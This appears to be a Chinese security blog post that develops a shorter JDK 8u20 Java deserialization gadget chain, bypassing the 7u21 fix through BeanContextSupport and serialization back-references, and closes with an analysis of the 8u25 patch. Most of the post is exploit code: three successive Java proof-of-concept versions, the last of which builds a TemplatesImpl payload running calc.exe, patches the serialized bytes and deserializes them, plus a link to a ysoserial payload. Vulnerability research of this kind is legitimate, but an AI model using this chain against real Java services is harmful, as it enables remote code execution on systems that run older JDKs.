原生反序列化链 jdk8u20 的新构造

1nhann 2022-09-08 10:15:00

自己构造 jdk8u20 反序列化链子,构造思路比网上的大多数都简单很多,exp也更短

感觉我之前那个 bypass __wakeup() 的 trick 和 8u20 绕过 7u21 的方式异曲同工

jdk8u20 是对 jdk7u21 这条链的绕过

7u21 的修复:

参考 原生反序列化利用链 JDK7u21的修复过程,可以知道,反序列化的过程中:

sun.reflect.annotation.AnnotationInvocationHandlerequalsImpl() ,会调用 (Class<? extends Annotation>)this.type 的所有 DeclaredMethodsinvoke() ,传入 (Object)var1

而 针对此 ,jdk7u25 的修复方式,是在 AnnotationInvocationHandlerreadObject() 方法中尝试将 this.type 转换成 AnnotationType ,如果转换失败,就 throw Exception (而不是 直接 return ):

img

值得注意的是 AnnotationInvocationHandlerreadObject() 当中,除了第一行调用了 ObjectInputStreamdefaultReadObject() 外,其他位置都没有再从 stream 中读内容,也就是说,在 throw Exception 之前,一个 AnnotationInvocationHandler 对象已经被完整构造好了。

8u20 绕过 7u21:

二重 try catch demo :

package top.inhann;

public class Test {
    public static void main(String[] args) {
        try {
            try {
                int i = 1/0;
            }catch (Exception e){
                throw new Exception("bitch");
            }
        }catch (Exception e){
        }
        System.out.println("fuck");
    }
}

运行结果,可以看到,有两层 try catch ,虽然里面一层在 catch 当中 抛出了异常,但是并没有影响程序的整体运行,最终 fuck 还是被打印了:

image-20220831173733802

序列化数据中使用 Reference 的 demo

写一个 可以序列化的 Fuck 类:

package top.inhann;

import java.io.Serializable;

public class Fuck implements Serializable {
}

构造一个数组进行序列化,数组中的两个元素相同:

package top.inhann;

import ysoserial.Serializer;

import java.io.File;
import java.io.FileOutputStream;

public class Test {
    public static void main(String[] args) throws Exception{
        Fuck f = new Fuck();
        Object[] l = {f,f};
        byte[] ser = Serializer.serialize(l);
        writeFile(ser,"1.txt");
    }
    public static void writeFile(byte[] content,String path) throws Exception{
        File file = new File(path);
        FileOutputStream f = new FileOutputStream(file);
        f.write(content);
        f.close();
    }
}

用 zkar 查看序列化数据:

.\zkar.exe dump --file D:\tmp\ysoserial-7\1.txt 
@Magic - 0xac ed
@Version - 0x00 05
@Contents
  TC_ARRAY - 0x75
    TC_CLASSDESC - 0x72
      @ClassName
        @Length - 19 - 0x00 13
        @Value - [Ljava.lang.Object; - 0x5b 4c 6a 61 76 61 2e 6c 61 6e 67 2e 4f 62 6a 65 63 74 3b
      @SerialVersionUID - -8012369246846506644 - 0x90 ce 58 9f 10 73 29 6c
      @Handler - 8257536
      @ClassDescFlags - SC_SERIALIZABLE - 0x02
      @FieldCount - 0 - 0x00 00
      []Fields
      []ClassAnnotations
        TC_ENDBLOCKDATA - 0x78
      @SuperClassDesc
        TC_NULL - 0x70
    @Handler - 8257537
    @ArraySize - 2 - 0x00 00 00 02
    []Values
      Index 0
        TC_OBJECT - 0x73
          TC_CLASSDESC - 0x72
            @ClassName
              @Length - 15 - 0x00 0f
              @Value - top.inhann.Fuck - 0x74 6f 70 2e 69 6e 68 61 6e 6e 2e 46 75 63 6b
            @SerialVersionUID - -2733006860490274390 - 0xda 12 68 bd 8f c5 89 aa
            @Handler - 8257538
            @ClassDescFlags - SC_SERIALIZABLE - 0x02
            @FieldCount - 0 - 0x00 00
            []Fields
            []ClassAnnotations
              TC_ENDBLOCKDATA - 0x78
            @SuperClassDesc
              TC_NULL - 0x70
          @Handler - 8257539
          []ClassData
            @ClassName - top.inhann.Fuck
              {}Attributes
      Index 1
        TC_REFERENCE - 0x71
          @Handler - 8257539 - 0x00 7e 00 03

可以看到,index 1 的元素在序列化数据中是 Reference 类型,通过 Handler 指向了 index 0 的元素

jdk7u21 的 poc 的重点

jdk7u21 的 poc ,参考 https://github.com/1nhann/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk7u21_my.java

经过调试,AnnotationInvocationHandler 对象的反序列化(即创建)的起点是 HashSetreadObject() ,在其中调用了个 s.readObject(); ,尝试反序列化一个 proxy object :

image-20220831195050739

回顾 java 动态代理 的基础知识可以知道,一个 Proxy 对象只有一个属性,名为 h ,类型为InvocationHandler

image-20220831195542673

也就是说 jdk7u21 的核心触发点在于以下代码:

for (int i=0; i<size; i++) {
    E e = (E) s.readObject();
    map.put(e, PRESENT);
}

这个 for 循环有两次,第一次是通过 readObject() 构造一个 TemplatesImpl ,第二次是通过 readObject() 构造一个 proxy ,然后 put 这个 proxy ,而也就是这第二次的 put 触发了RCE。对于 jdk7u21 的修补,使得默认情况下,s.readObject() 返回一个 proxy 变得不可能。

梳理绕过思路

结合序列化中 Reference 的特性,很容易想到, 让上面的 for 循环运行3次(也就是 s.readObject() 运行三次),第一次构建 AnnotationInvocationHandler ,第二次和原来一样,构造一个 TemplatesImpl , 第三次和原来差不多,只不过用 TC_REFERENCE 让 proxy 的 h 指向第一次构建的 AnnotationInvocationHandler

所以需要找一个 readObject() ,在当中调用了类似这样的代码:

try{
    s.readObject();
}catch(Exception e){

}

寻找合适的 gadget :

根据网上资料,使用 java.beans.beancontext.BeanContextSupport ,这个类的 readObject() ,调用了 readChildren(ois);

private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

    synchronized(BeanContext.globalHierarchyLock) {
        ois.defaultReadObject();

        initialize();

        bcsPreDeserializationHook(ois);

        if (serializable > 0 && this.equals(getBeanContextPeer()))
            readChildren(ois);

        deserialize(ois, bcmListeners = new ArrayList(1));
    }
}

看下 readChildren() ,可以看到调用了 ois.readObject();

image-20220901104143199

构造 8u20 的 poc :

poc1 ,遇到报错

基于 7u21 的 poc ,把 BeanContextSupport 对象放到 map 中的第一个位置罢了:

package top.inhann;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Reflections;


import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

public class Poc {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc.exe");

        InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class,new HashMap<>());
        Reflections.setFieldValue(ih,"type", Templates.class);
        Templates proxy = Gadgets.createProxy(ih,Templates.class);

        BeanContextSupport b = new BeanContextSupport();
        Reflections.setFieldValue(b,"serializable",1);
        HashMap tmpMap = new HashMap<>();
        tmpMap.put(ih,null);
        Reflections.setFieldValue(b,"children",tmpMap);

        LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
        set.add(b);
        set.add(templates);
        set.add(proxy);

        HashMap hm = new HashMap();
        hm.put("f5a5a608",templates);
        Reflections.setFieldValue(ih,"memberValues",hm);

        byte[] ser = Serializer.serialize(set);
        Deserializer.deserialize(ser);

    }
}

但是运行这个 poc 会报错:

image-20220905125616385

经过调试,问题的根源在于 BeanContextSupport 调用 deserialize() ,在其中调用了 ois.readInt(); ,这个位置发出了报错:

image-20220905125846822

这个错误的根源可以追溯到 ObjectInputStreamreadBlockHeader() ,在其中判断了下 defaultDataEnd 的值,如果为 true 就返回 -1 :

image-20220905130002551

而为了 defaultDataEnd 为 false ,可以来到 AnnotationInvocationHandler 调用 defaultReadObject() 的时候,在里面判断了下是否有自定义的 writeObject 方法,如果没有就将 defaultDataEnd 赋值为 true :

image-20220905130333958

所以可以 用 javassist 给 AnnotationInvocationHandler 加一个 writeObjecct() 方法

poc2 ,还是遇到报错

package top.inhann;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

public class Poc {
    public static Class newInvocationHandlerClass() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
        CtMethod writeObject = CtMethod.make("    private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
            "        os.defaultWriteObject();\n" +
            "    }",clazz);
        clazz.addMethod(writeObject);
        return clazz.toClass();
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc.exe");

        Class ihClass = newInvocationHandlerClass();
        InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(ihClass).newInstance(Override.class,new HashMap<>());

        Reflections.setFieldValue(ih,"type", Templates.class);
        Templates proxy = Gadgets.createProxy(ih,Templates.class);

        BeanContextSupport b = new BeanContextSupport();
        Reflections.setFieldValue(b,"serializable",1);
        HashMap tmpMap = new HashMap<>();
        tmpMap.put(ih,null);
        Reflections.setFieldValue(b,"children",tmpMap);

        LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
        set.add(b);
        set.add(templates);
        set.add(proxy);

        HashMap hm = new HashMap();
        hm.put("f5a5a608",templates);
        Reflections.setFieldValue(ih,"memberValues",hm);

        byte[] ser = Serializer.serialize(set);
        Deserializer.deserialize(ser);
    }
}

但是运行之后还是报错:

image-20220905130921271

经过调试,问题的根源还是在于 BeanContextSupport 调用 deserialize() ,在其中调用了 ois.readInt(); ,这个位置发出了报错:

image-20220905131127476

本该是读到一个 int 的地方,读到的却是 TC_ENDBLOCKDATA 标志:

image-20220905131327518

image-20220905131240947

把 序列化数据保存成文件,根据此时 指针在 stream 中的位置,可以用 python 处理一下,定位到那个地方:

image-20220905131705798

参考 https://github.com/1nhann/java_ser_format,可以看到,7870 之后就是 block data ,是要读的 int 的内容,所以直接把 7870 删了就可以了

poc ,最终版本

比网上大多数 exp 都短得多。。。

生成 ser.txt

package top.inhann;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import ysoserial.Serializer;
import ysoserial.payloads.util.ByteUtil;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.ReadWrite;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextSupport;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;

public class Poc {
    public static Class newInvocationHandlerClass() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
        CtMethod writeObject = CtMethod.make("    private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
            "        os.defaultWriteObject();\n" +
            "    }",clazz);
        clazz.addMethod(writeObject);
        return clazz.toClass();
    }

    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc.exe");

        Class ihClass = newInvocationHandlerClass();
        InvocationHandler ih = (InvocationHandler) Reflections.getFirstCtor(ihClass).newInstance(Override.class,new HashMap<>());

        Reflections.setFieldValue(ih,"type", Templates.class);
        Templates proxy = Gadgets.createProxy(ih,Templates.class);

        BeanContextSupport b = new BeanContextSupport();
        Reflections.setFieldValue(b,"serializable",1);
        HashMap tmpMap = new HashMap<>();
        tmpMap.put(ih,null);
        Reflections.setFieldValue(b,"children",tmpMap);


        LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
        set.add(b);
        set.add(templates);
        set.add(proxy);

        HashMap hm = new HashMap();
        hm.put("f5a5a608",templates);
        Reflections.setFieldValue(ih,"memberValues",hm);

        byte[] ser = Serializer.serialize(set);

        byte[] shoudReplace = new byte[]{0x78,0x70,0x77,0x04,0x00,0x00,0x00,0x00,0x78,0x71};

        int i = ByteUtil.getSubarrayIndex(ser,shoudReplace);
        ser = ByteUtil.deleteAt(ser,i); // delete 0x78
        ser = ByteUtil.deleteAt(ser,i); // delete 0x70

// 不能直接 Deserializer.deserialize(ser) , 除非 redefine 了 AnnotationInvocationHandler 否则会报错
//        Deserializer.deserialize(ser);
        ReadWrite.writeFile(ser,"ser.txt");
    }
}

不能直接 Deserializer.deserialize(ser) , 除非 redefine 了 AnnotationInvocationHandler ,否则会报错

进行反序列化:

package top.inhann;

import ysoserial.Deserializer;
import ysoserial.payloads.util.ReadWrite;
public class Test2 {
    public static void main(String[] args) throws Exception{
        byte[] bytes = ReadWrite.readFile("ser.txt");
        Deserializer.deserialize(bytes);
    }
}

image-20220905132032061

整合进 ysoserial

https://github.com/1nhann/ysoserial/blob/master/src/main/java/ysoserial/payloads/Jdk8u20_my.java

8u20 的修复

修复版本是 jdk8u25,位置在于 AnnotationInvocationHandler

可以查看下 AnnotationInvocationHandler 类的历史:

root@ubuntu:~/Repo_Proj/jdk8u332# git log -p ./jdk/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java

77adec7be50392acc4a35c6f8da9c0b3340b8bd9 这个 commit 的位置,定义了一个 validateAnnotationMethods() 对于反序列化的时候 this.type 所调用的方法做了限制:

image-20220905165559384

image-20220905165739715

jdk8u20 的时候:

image-20220905163854830

jdk8u25 的时候:

getMemberMethods() 中加了一段:

AnnotationInvocationHandler.this.validateAnnotationMethods(var1);

image-20220905163726779

对能调用的方法做了黑白名单,对 return type 、method name 等,都做了限制,其中最直观的就是给调用的方法名做了限制,只能调用:

toString()
hashCode()
annotationType()

评论

1

1nhann

这个人很懒,没有留下任何介绍

随机分类

企业安全 文章:40 篇
渗透测试 文章:154 篇
漏洞分析 文章:212 篇
二进制安全 文章:77 篇
软件安全 文章:17 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录